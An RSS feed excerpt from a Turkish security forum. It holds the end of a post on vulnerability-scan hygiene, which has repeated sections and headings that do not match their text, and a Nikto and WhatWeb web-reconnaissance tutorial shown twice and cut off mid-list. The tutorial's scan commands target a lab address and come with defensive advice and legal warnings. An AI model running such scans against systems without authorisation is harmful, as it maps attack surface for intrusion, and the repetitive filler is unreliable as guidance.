Kimliksiz tarama çoğunlukla sürüm ve port bulur. SSH/WinRM/SMB hesabı verdiğinizde eksik yama, yerel kullanıcı politikası, zayıf servis yapılandırması çıkar. Labda ayrı bir "scanner" hesabı açın; domain admin vermeyin. Başarıyla giriş yapılamazsa rapor "auth failed" diye yalan yanlış critical üretmesin diye görev logunu kontrol edin.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Raporu iş biletleme</span></span><br />
CSV/XML dışa aktarıp her kritik CVE için: varlık sahibi, yama penceresi, geçici mitigeasyon (WAF imzası, port kapatma). Tarayıcı skoru tek başına öncelik değildir; internete açık + exploit public ise yukarı çekin.<br />
<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Doğrulama senaryosu</span></span><br />
Bu konuyla ilgili ek bir kontrol: değişikliği yaptıktan sonra en az bir negatif test ve bir pozitif test tanımlayın. Negatif test 'alarm boşyere düşmemeli', pozitif test 'bilinen kötü örneği yakalamalı' der. İkisini de kaydedin.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Lab disiplini</span></span><br />
Ortamlar arasında (lab, staging, production) aynı yapılandırmayı kör kopyalamayın. Adresler, sertifikalar ve kimlikler farklıdır. Şablon kullanın, değerleri envanterden doldurun.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Runbook'a taşımak</span></span><br />
İlgili log ve kanıtları olaydan sonra en az kurum politikasının öngördüğü süre kadar saklayın. Disk dolunca en eski güvenlik logunu silmek klasik hatadır; ayrı retention politikası tanımlayın.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Ölçüm ve alarm sağlığı</span></span><br />
Yanlış pozitifleri susturmak ile körleşmek arasındaki çizgi incedir. Suppress kuralına gerekçe ve gözden geçirme tarihi yazın. Süresi dolunca yeniden değerlendirin.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kapsam ve izin hatırlatması</span></span><br />
Bu adımları change ticket olmadan production'da uygulamayın. Küçük görünen bir audit ayarı bile uygulama uyumluluğunu bozabilir. Önce staging, sonra kontrollü yayılım.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Yedekleme ve geri dönüş</span></span><br />
Yılda en az iki kez masabaşı tatbikatı yapın: 'bu kontrol kırılırsa kim fark eder?' sorusunu sorunsuz cevaplayabilmelisiniz. Tatbikat notlarını wiki'ye ekleyin.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Log saklama süresi</span></span><br />
Araç çıktısını ekran görüntüsü olarak bırakmak yerine makinece okunur formatta (JSON/CSV) arşivleyin. İki yıl sonraki denetimde arama kolaylaşır.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Yanlış pozitif yönetimi</span></span><br />
Yetki ayrımı: bu kontrolü yapılandıran kişi ile alarmı triaj eden kişi mümkünse farklı olsun. Küçük ekiplerde olmasa bile en azından farklı hesap kullanın.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Değişiklik yönetimi ile ilişki</span></span><br />
Sürüüm yükseltmelerinden sonra regresyon testi yapın. 'Aynı config' yeni sürümde farklı varsayılanlara bağlanmış olabilir. Release note'daki breaking change bölümünü okuyun.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Eğitim tatbikatı</span></span><br />
Dış bağımlılık (feed, imza seti, konteyner imajı) için bütünlük doğrulaması yapın. İmzasız feed ile gelen kural seti tedarik zinciri riskidir.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Doğrulama senaryosu</span></span><br />
Bu konuyla ilgili ek bir kontrol: değişikliği yaptıktan sonra en az bir negatif test ve bir pozitif test tanımlayın. Negatif test 'alarm boşyere düşmemeli', pozitif test 'bilinen kötü örneği yakalamalı' der. İkisini de kaydedin.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Lab disiplini</span></span><br />
Ortamlar arasında (lab, staging, production) aynı yapılandırmayı kör kopyalamayın. Adresler, sertifikalar ve kimlikler farklıdır. Şablon kullanın, değerleri envanterden doldurun.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Runbook'a taşımak</span></span><br />
İlgili log ve kanıtları olaydan sonra en az kurum politikasının öngördüğü süre kadar saklayın. Disk dolunca en eski güvenlik logunu silmek klasik hatadır; ayrı retention politikası tanımlayın.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Ölçüm ve alarm sağlığı</span></span><br />
Yanlış pozitifleri susturmak ile körleşmek arasındaki çizgi incedir. Suppress kuralına gerekçe ve gözden geçirme tarihi yazın. Süresi dolunca yeniden değerlendirin.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Uygulama notu</span></span><br />
Bu rehberdeki komutları olduğu gibi kopyalamadan önce yolları, arayüz adlarını ve IP adreslerini kendi ortamınıza göre değiştirin. Dağıtım farkları (Debian/Ubuntu/RHEL/Windows sunucu) çıktı biçimini değiştirebilir; man sayfası ve resmi dokümantasyon birincil kaynaktır. Bir adım beklediğiniz sonucu vermezse önce yetki (sudo/Administrator), sonra sürüm, en son da yapılandırma dosyası sırasıyla bakın. Değişiklikleri geri almak için snapshot veya yapılandırma yönetimi (Ansible/Git) kullanın; 'elle bir dokundum' geçmişi denetimde kaybolur. Alarm ve log örneklerini ekip kanalında paylaşırken kişisel veri ve iç IP şemasını maskeleyin.<br />
<span style="font-style: italic;" class="mycode_i">Yasal uyarı: Bu içerik eğitim amaçlıdır. Anlatılanları yalnızca kendi sistemlerinizde veya yazılı izin aldığınız sistemlerde uygulayın. Yetkisiz erişim ve sistemlere müdahale 5237 sayılı TCK'nın 243, 244 ve 245. maddeleri kapsamında suçtur.</span><br /><!-- start: postbit_attachments_attachment -->
<br /><!-- start: attachment_icon -->
<img src="https://cdn.turkteam.org/images/attachtypes/image.png" title="PNG Image" border="0" alt=".png" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a href="attachment.php?aid=267" target="_blank" title="">100-n07-f2fc28.png</a> (Dosya Boyutu: 61.58 KB / İndirme Sayısı: 12)
<!-- end: postbit_attachments_attachment --><br /><!-- start: postbit_attachments_attachment -->
<br /><!-- start: attachment_icon -->
<img src="https://cdn.turkteam.org/images/attachtypes/image.png" title="PNG Image" border="0" alt=".png" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a href="attachment.php?aid=268" target="_blank" title="">n07-inner.png</a> (Dosya Boyutu: 19.72 KB / İndirme Sayısı: 11)
<!-- end: postbit_attachments_attachment -->]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Nikto ve WhatWeb ile Web Sunucu Keşfi: Uygulamalı Rehber]]></title>
			<link>https://www.turkteam.org/konu-nikto-ve-whatweb-ile-web-sunucu-kesfi-uygulamali-rehber.html</link>
			<pubDate>Sun, 18 Oct 2026 20:35:31 +0300</pubDate>
			<dc:creator><![CDATA[<a href="https://www.turkteam.org/member.php?action=profile&uid=4">KulTigin</a>]]></dc:creator>
			<guid isPermaLink="false">https://www.turkteam.org/konu-nikto-ve-whatweb-ile-web-sunucu-kesfi-uygulamali-rehber.html</guid>
			<description><![CDATA[<span style="font-weight: bold;" class="mycode_b">Merhaba TurkTeam,</span><br />
<br />
Bir web hedefine karşı iş yapmadan önce "karşımızda ne var?" sorusunu yanıtlamamız gerekir: Hangi web sunucusu, hangi teknolojiler, hangi sürümler, bilinen yanlış yapılandırmalar ve tehlikeli dosyalar? Bu pasif/aktif keşif için iki klasik araç öne çıkar: teknolojileri parmak izinden tanıyan <span style="font-weight: bold;" class="mycode_b">WhatWeb</span> ve web sunucusunu bilinen sorunlara karşı tarayan <span style="font-weight: bold;" class="mycode_b">Nikto</span>. Bu rehberde ikisini birlikte, resmi kullanımlarına sadık kalarak ele alıyoruz.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Konuda Anlatılacaklar</span></span><br />
<ol type="1" class="mycode_list"><li>Web sunucu keşfi nedir, neden ilk adımdır<br />
</li>
<li>WhatWeb ve Nikto nedir, farkları<br />
</li>
<li>Kurulum<br />
</li>
<li>WhatWeb parametre referansı ve uygulama<br />
</li>
<li>Nikto parametre referansı ve uygulama<br />
</li>
<li>Çıktıları yorumlama ve ileri ipuçları<br />
</li>
<li>Sonuç, kaynakça ve yasal uyarı<br />
</li>
</ol>
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">1. Web Sunucu Keşfi Nedir?</span></span><br />
Keşif (reconnaissance), hedef hakkında bilgi toplama aşamasıdır ve bir testin kalitesini doğrudan belirler. Web tarafında bu; sunucu yazılımını (Apache, nginx, IIS), uygulama çatısını (WordPress, Laravel, vb.), kullanılan kütüphaneleri, HTTP başlıklarını, çerez yapılandırmasını ve bilinen riskli dosya/dizinleri ortaya çıkarmayı kapsar. Bu bilgi, sonraki adımları (zafiyet araştırması, hedefli testler) yönlendirir.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">2. WhatWeb ve Nikto: Farkları</span></span><br />
<span style="font-weight: bold;" class="mycode_b">WhatWeb</span> bir "web teknoloji parmak izi" aracıdır: sayfayı alır, başlıkları ve içerik desenlerini 1800'den fazla eklentiyle eşleştirip hangi teknolojilerin kullanıldığını söyler. Düşük agresiflikte neredeyse pasiftir.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Nikto</span> ise bir "web sunucu zafiyet tarayıcısı"dır: sunucuya binlerce istek göndererek bilinen tehlikeli dosyaları, eski sürümleri, yanlış yapılandırılmış başlıkları ve varsayılan içerikleri arar. Nikto gürültülüdür ve loglarda kolayca görünür; bu yüzden izinli test şarttır.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">3. Kurulum</span></span><br />
Her ikisi de Kali/Parrot depolarında bulunur:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>sudo apt update
sudo apt install whatweb nikto</code></div></div>Sürümleri doğrulayın:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>whatweb --version
nikto -Version</code></div></div><br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">4. WhatWeb Parametre Referansı ve Uygulama</span></span><br />
<span style="font-weight: bold;" class="mycode_b">Temel kullanım:</span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>whatweb http://192.168.56.101</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">-v</span> - Ayrıntılı çıktı (hangi eklenti neyi eşledi):<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>whatweb -v http://192.168.56.101</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">-a</span> - Agresiflik düzeyi (1 pasif/stealthy, 3 agresif, 4 ağır):<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>whatweb -a 3 http://192.168.56.101</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">--log-json</span> / toplu tarama:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>whatweb --log-json=sonuc.json -i hedefler.txt</code></div></div>Örnek bir çıktı satırı şuna benzer:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>http://192.168.56.101 [200 OK] Apache[2.2.8], PHP[5.2.4], Country[RESERVED][ZZ], HTTPServer[Apache/2.2.8 (Ubuntu) DAV/2]</code></div></div>Buradan sunucunun eski bir Apache ve PHP sürümü çalıştırdığını tek bakışta görürsünüz; bu, bilinen zafiyet araştırması için değerli bir başlangıçtır.<br />
<div style="text-align: center;" class="mycode_align"><img src="https://www.turkteam.org/attachment.php?aid=232" loading="lazy"  alt="[Resim: attachment.php?aid=232]" class="mycode_img" /></div>
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">5. Nikto Parametre Referansı ve Uygulama</span></span><br />
<span style="font-weight: bold;" class="mycode_b">-h</span> - Hedef host/URL:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>nikto -h http://192.168.56.101</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">-p</span> - Port (birden çok virgülle):<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>nikto -h 192.168.56.101 -p 80,443,8080</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">-ssl</span> - HTTPS zorlama:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>nikto -h https://192.168.56.101 -ssl</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">-Tuning</span> - Belirli test kategorilerini seçme (örn. 1 dosya, 2 yanlış yapılandırma, 9 SQLi):<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>nikto -h http://192.168.56.101 -Tuning 123b</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">-o / -Format</span> - Rapor çıktısı:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>nikto -h http://192.168.56.101 -o rapor.html -Format htm</code></div></div><br />
Örnek bir Nikto bulgusu şöyle görünür:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>+ Server: Apache/2.2.8 (Ubuntu) DAV/2
+ The anti-clickjacking X-Frame-Options header is not present.
+ /phpinfo.php: Output from the phpinfo() function was found.
+ OSVDB-3233: /icons/README: Apache default file found.</code></div></div><div style="text-align: center;" class="mycode_align"><img src="https://www.turkteam.org/attachment.php?aid=233" loading="lazy"  alt="[Resim: attachment.php?aid=233]" class="mycode_img" /></div>
Her satır bir gözlemdir: eksik güvenlik başlıkları, bilgi sızdıran phpinfo.php, varsayılan Apache dosyaları gibi. Bunlar doğrudan "açık" olmayabilir ama saldırı yüzeyini ve yanlış yapılandırmaları gösterir.<br />
<div style="text-align: center;" class="mycode_align"><img src="https://www.turkteam.org/attachment.php?aid=234" loading="lazy"  alt="[Resim: attachment.php?aid=234]" class="mycode_img" /></div>
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">6. Çıktıları Yorumlama ve İleri İpuçları</span></span><ul class="mycode_list"><li><span style="font-weight: bold;" class="mycode_b">Önce WhatWeb, sonra Nikto:</span> Teknolojiyi tanıyın, sonra o teknolojiye uygun Nikto ayarlarıyla derinleşin.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">Yanlış pozitifler:</span> Nikto bulgularını körü körüne "zafiyet" saymayın; her satırı manuel doğrulayın. phpinfo.php varlığı gerçek ve ciddidir, ama bazı OSVDB kayıtları bağlama göre geçersiz olabilir.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">Gürültü yönetimi:</span> Nikto çok istek üretir; üretim ortamında -Tuning ile kapsamı daraltın ve zamanlamaya dikkat edin.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">Proxy ile görünürlük:</span> -useproxy ile Burp üzerinden geçirip istek/yanıtları inceleyebilirsiniz.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">Güncel tutun:</span> Nikto'nun veritabanı güncel olmalı; aracı ve imzalarını güncel tutmak bulgu kalitesini artırır.<br />
</li>
</ul>
İki aracın birlikte verdiği tablo, bir sonraki adıma (örneğin dizin keşfi, CMS'e özel tarayıcılar ya da elle test) sağlam bir zemin oluşturur.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">7. Savunma Perspektifi</span></span><br />
Keşif araçlarının bulduğu çoğu şey aslında savunma eksiğidir. Sunucu sürüm bilgisini gizlemek (ServerTokens Prod), gereksiz varsayılan dosyaları (README, test sayfaları, phpinfo.php) kaldırmak, güvenlik başlıklarını (X-Frame-Options, Content-Security-Policy, X-Content-Type-Options) eklemek ve yazılımları güncel tutmak, bu araçların döndürdüğü bulguların çoğunu ortadan kaldırır. Yani Nikto/WhatWeb çıktısını bir "yapılacaklar listesi" gibi okumak, savunmacı için en verimli yaklaşımdır.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">7.1. İki Aracı Bir İş Akışına Oturtmak</span></span><br />
Nikto ve WhatWeb'i tek tek öğrenmek kolaydır; asıl ustalık, onları tutarlı bir iş akışına oturtmaktır. Pratikte sıralama şöyle işler: önce hedefin canlı ve hangi portlarda web servisi sunduğunu bir port taramasıyla (örneğin Nmap) teyit edersiniz. Ardından WhatWeb'i düşük agresiflikle çalıştırıp teknolojiyi, sürümleri ve çatıyı tespit edersiniz. Bu bilgi elinizdeyken Nikto'yu daha bilinçli yaparsınız: HTTPS ise -ssl ekler, standart dışı port varsa -p ile belirtir, ilgisiz test kategorilerini -Tuning ile eler ve raporu dosyaya yazdırırsınız.<br />
<br />
Bu araçların en büyük tuzağı, çıktıyı olduğu gibi "bulgu" olarak rapora kopyalamaktır. Profesyonel yaklaşım, her satırı bağlamıyla değerlendirmektir. Örneğin eksik bir X-Frame-Options başlığı gerçek ama düşük önemli bir bulgudur; erişilebilir bir phpinfo.php ise sunucu yolunu, yüklü modülleri ve ortam değişkenlerini sızdırdığı için çok daha ciddidir. Eski bir sunucu sürümü ise tek başına bir açık değildir, ancak o sürüme ait bilinen zafiyetleri araştırmanız için güçlü bir ipucudur. İyi bir testçi, aracın söylediğini doğrulayan, önceliklendiren ve etkisini açıklayan kişidir; aracı yalnızca çalıştıran değil.<br />
<br />
Son olarak tekrarlanabilirlik için her taramanın komutunu, zamanını ve çıktısını kaydedin. Bir hedefi haftalar sonra yeniden test ettiğinizde, eski WhatWeb ve Nikto raporlarıyla karşılaştırmak, nelerin düzeltildiğini ve nelerin hâlâ açık olduğunu görmenin en hızlı yoludur. Bu alışkanlık, hem denetim kalitenizi hem de müşteriye sunduğunuz değeri belirgin biçimde artırır.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Sonuç</span></span><br />
WhatWeb hedefin "ne" olduğunu, Nikto ise "nerede zayıf olabileceğini" hızlıca gösterir. İkisi birlikte, web keşfinin omurgasını oluşturur. Bulguları her zaman elle doğrulayın, gürültüyü yönetin ve sonuçları ya bir sonraki test adımına ya da savunma iyileştirmelerine dönüştürün. Keşif ne kadar iyi olursa, testin geri kalanı o kadar isabetli olur.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kaynakça</span></span><ul class="mycode_list"><li>Nikto Resmi Deposu ve Belgeleri - <a href="https://github.com/sullo/nikto" target="_blank" rel="noopener" class="mycode_url">https://github.com/sullo/nikto</a><br />
</li>
<li>Nikto Wiki - <a href="https://github.com/sullo/nikto/wiki" target="_blank" rel="noopener" class="mycode_url">https://github.com/sullo/nikto/wiki</a><br />
</li>
<li>WhatWeb Resmi Deposu - <a href="https://github.com/urbanadventurer/WhatWeb" target="_blank" rel="noopener" class="mycode_url">https://github.com/urbanadventurer/WhatWeb</a><br />
</li>
<li>Kali Tools: nikto - <a href="https://www.kali.org/tools/nikto/" target="_blank" rel="noopener" class="mycode_url">https://www.kali.org/tools/nikto/</a><br />
</li>
<li>Kali Tools: whatweb - <a href="https://www.kali.org/tools/whatweb/" target="_blank" rel="noopener" class="mycode_url">https://www.kali.org/tools/whatweb/</a><br />
</li>
</ul>
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Yasal Uyarı</span></span><br />
<blockquote class="mycode_quote"><cite>Alıntı:</cite>Web keşif ve tarama araçları yalnızca kendi sistemlerinizde veya yazılı izin aldığınız hedeflerde kullanılmalıdır. İzinsiz tarama Türk Ceza Kanunu 243-245. maddeleri kapsamında suç oluşturabilir.</blockquote>
<br />
<span style="font-style: italic;" class="mycode_i">Yasal uyarı: Bu içerik eğitim amaçlıdır. Yalnızca kendi sistemlerinizde veya yazılı izin aldığınız hedeflerde uygulayın (TCK 243-245).</span><br /><!-- start: postbit_attachments_attachment -->
<br /><!-- start: attachment_icon -->
<img src="https://cdn.turkteam.org/images/attachtypes/image.png" title="PNG Image" border="0" alt=".png" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a href="attachment.php?aid=232" target="_blank" title="">000-team-new-88cbb6.png</a> (Dosya Boyutu: 62.08 KB / İndirme Sayısı: 10)
<!-- end: postbit_attachments_attachment --><br /><!-- start: postbit_attachments_attachment -->
<br /><!-- start: attachment_icon -->
<img src="https://cdn.turkteam.org/images/attachtypes/image.png" title="PNG Image" border="0" alt=".png" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a href="attachment.php?aid=233" target="_blank" title="">konu-10-1.png</a> (Dosya Boyutu: 48.61 KB / İndirme Sayısı: 10)
<!-- end: postbit_attachments_attachment --><br /><!-- start: postbit_attachments_attachment -->
<br /><!-- start: attachment_icon -->
<img src="https://cdn.turkteam.org/images/attachtypes/image.png" title="PNG Image" border="0" alt=".png" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a href="attachment.php?aid=234" target="_blank" title="">konu-10-2.png</a> (Dosya Boyutu: 52.03 KB / İndirme Sayısı: 11)
<!-- end: postbit_attachments_attachment -->]]></description>
			<content:encoded><![CDATA[<span style="font-weight: bold;" class="mycode_b">Merhaba TurkTeam,</span><br />
<br />
Bir web hedefine karşı iş yapmadan önce "karşımızda ne var?" sorusunu yanıtlamamız gerekir: Hangi web sunucusu, hangi teknolojiler, hangi sürümler, bilinen yanlış yapılandırmalar ve tehlikeli dosyalar? Bu pasif/aktif keşif için iki klasik araç öne çıkar: teknolojileri parmak izinden tanıyan <span style="font-weight: bold;" class="mycode_b">WhatWeb</span> ve web sunucusunu bilinen sorunlara karşı tarayan <span style="font-weight: bold;" class="mycode_b">Nikto</span>. Bu rehberde ikisini birlikte, resmi kullanımlarına sadık kalarak ele alıyoruz.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Konuda Anlatılacaklar</span></span><br />
<ol type="1" class="mycode_list"><li>Web sunucu keşfi nedir, neden ilk adımdır<br />
</li>
<li>WhatWeb ve Nikto nedir, farkları<br />
</li>
<li>Kurulum<br />
</li>
<li>WhatWeb parametre referansı ve uygulama<br />
</li>
<li>Nikto parametre referansı ve uygulama<br />
</li>
<li>Çıktıları yorumlama ve ileri ipuçları<br />
</li>
<li>Sonuç, kaynakça ve yasal uyarı<br />
</li>
</ol>
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">1. Web Sunucu Keşfi Nedir?</span></span><br />
Keşif (reconnaissance), hedef hakkında bilgi toplama aşamasıdır ve bir testin kalitesini doğrudan belirler. Web tarafında bu; sunucu yazılımını (Apache, nginx, IIS), uygulama çatısını (WordPress, Laravel, vb.), kullanılan kütüphaneleri, HTTP başlıklarını, çerez yapılandırmasını ve bilinen riskli dosya/dizinleri ortaya çıkarmayı kapsar. Bu bilgi, sonraki adımları (zafiyet araştırması, hedefli testler) yönlendirir.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">2. WhatWeb ve Nikto: Farkları</span></span><br />
<span style="font-weight: bold;" class="mycode_b">WhatWeb</span> bir "web teknoloji parmak izi" aracıdır: sayfayı alır, başlıkları ve içerik desenlerini 1800'den fazla eklentiyle eşleştirip hangi teknolojilerin kullanıldığını söyler. Düşük agresiflikte neredeyse pasiftir.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Nikto</span> ise bir "web sunucu zafiyet tarayıcısı"dır: sunucuya binlerce istek göndererek bilinen tehlikeli dosyaları, eski sürümleri, yanlış yapılandırılmış başlıkları ve varsayılan içerikleri arar. Nikto gürültülüdür ve loglarda kolayca görünür; bu yüzden izinli test şarttır.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">3. Kurulum</span></span><br />
Her ikisi de Kali/Parrot depolarında bulunur:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>sudo apt update
sudo apt install whatweb nikto</code></div></div>Sürümleri doğrulayın:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>whatweb --version
nikto -Version</code></div></div><br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">4. WhatWeb Parametre Referansı ve Uygulama</span></span><br />
<span style="font-weight: bold;" class="mycode_b">Temel kullanım:</span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>whatweb http://192.168.56.101</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">-v</span> - Ayrıntılı çıktı (hangi eklenti neyi eşledi):<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>whatweb -v http://192.168.56.101</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">-a</span> - Agresiflik düzeyi (1 pasif/stealthy, 3 agresif, 4 ağır):<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>whatweb -a 3 http://192.168.56.101</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">--log-json</span> / toplu tarama:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>whatweb --log-json=sonuc.json -i hedefler.txt</code></div></div>Örnek bir çıktı satırı şuna benzer:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>http://192.168.56.101 [200 OK] Apache[2.2.8], PHP[5.2.4], Country[RESERVED][ZZ], HTTPServer[Apache/2.2.8 (Ubuntu) DAV/2]</code></div></div>Buradan sunucunun eski bir Apache ve PHP sürümü çalıştırdığını tek bakışta görürsünüz; bu, bilinen zafiyet araştırması için değerli bir başlangıçtır.<br />
<div style="text-align: center;" class="mycode_align"><img src="https://www.turkteam.org/attachment.php?aid=232" loading="lazy"  alt="[Resim: attachment.php?aid=232]" class="mycode_img" /></div>
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">5. Nikto Parametre Referansı ve Uygulama</span></span><br />
<span style="font-weight: bold;" class="mycode_b">-h</span> - Hedef host/URL:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>nikto -h http://192.168.56.101</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">-p</span> - Port (birden çok virgülle):<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>nikto -h 192.168.56.101 -p 80,443,8080</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">-ssl</span> - HTTPS zorlama:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>nikto -h https://192.168.56.101 -ssl</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">-Tuning</span> - Belirli test kategorilerini seçme (örn. 1 dosya, 2 yanlış yapılandırma, 9 SQLi):<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>nikto -h http://192.168.56.101 -Tuning 123b</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">-o / -Format</span> - Rapor çıktısı:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>nikto -h http://192.168.56.101 -o rapor.html -Format htm</code></div></div><br />
Örnek bir Nikto bulgusu şöyle görünür:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>+ Server: Apache/2.2.8 (Ubuntu) DAV/2
+ The anti-clickjacking X-Frame-Options header is not present.
+ /phpinfo.php: Output from the phpinfo() function was found.
+ OSVDB-3233: /icons/README: Apache default file found.</code></div></div><div style="text-align: center;" class="mycode_align"><img src="https://www.turkteam.org/attachment.php?aid=233" loading="lazy"  alt="[Resim: attachment.php?aid=233]" class="mycode_img" /></div>
Her satır bir gözlemdir: eksik güvenlik başlıkları, bilgi sızdıran phpinfo.php, varsayılan Apache dosyaları gibi. Bunlar doğrudan "açık" olmayabilir ama saldırı yüzeyini ve yanlış yapılandırmaları gösterir.<br />
<div style="text-align: center;" class="mycode_align"><img src="https://www.turkteam.org/attachment.php?aid=234" loading="lazy"  alt="[Resim: attachment.php?aid=234]" class="mycode_img" /></div>
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">6. Çıktıları Yorumlama ve İleri İpuçları</span></span><ul class="mycode_list"><li><span style="font-weight: bold;" class="mycode_b">Önce WhatWeb, sonra Nikto:</span> Teknolojiyi tanıyın, sonra o teknolojiye uygun Nikto ayarlarıyla derinleşin.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">Yanlış pozitifler:</span> Nikto bulgularını körü körüne "zafiyet" saymayın; her satırı manuel doğrulayın. phpinfo.php varlığı gerçek ve ciddidir, ama bazı OSVDB kayıtları bağlama göre geçersiz olabilir.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">Gürültü yönetimi:</span> Nikto çok istek üretir; üretim ortamında -Tuning ile kapsamı daraltın ve zamanlamaya dikkat edin.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">Proxy ile görünürlük:</span> -useproxy ile Burp üzerinden geçirip istek/yanıtları inceleyebilirsiniz.<br />
</li>
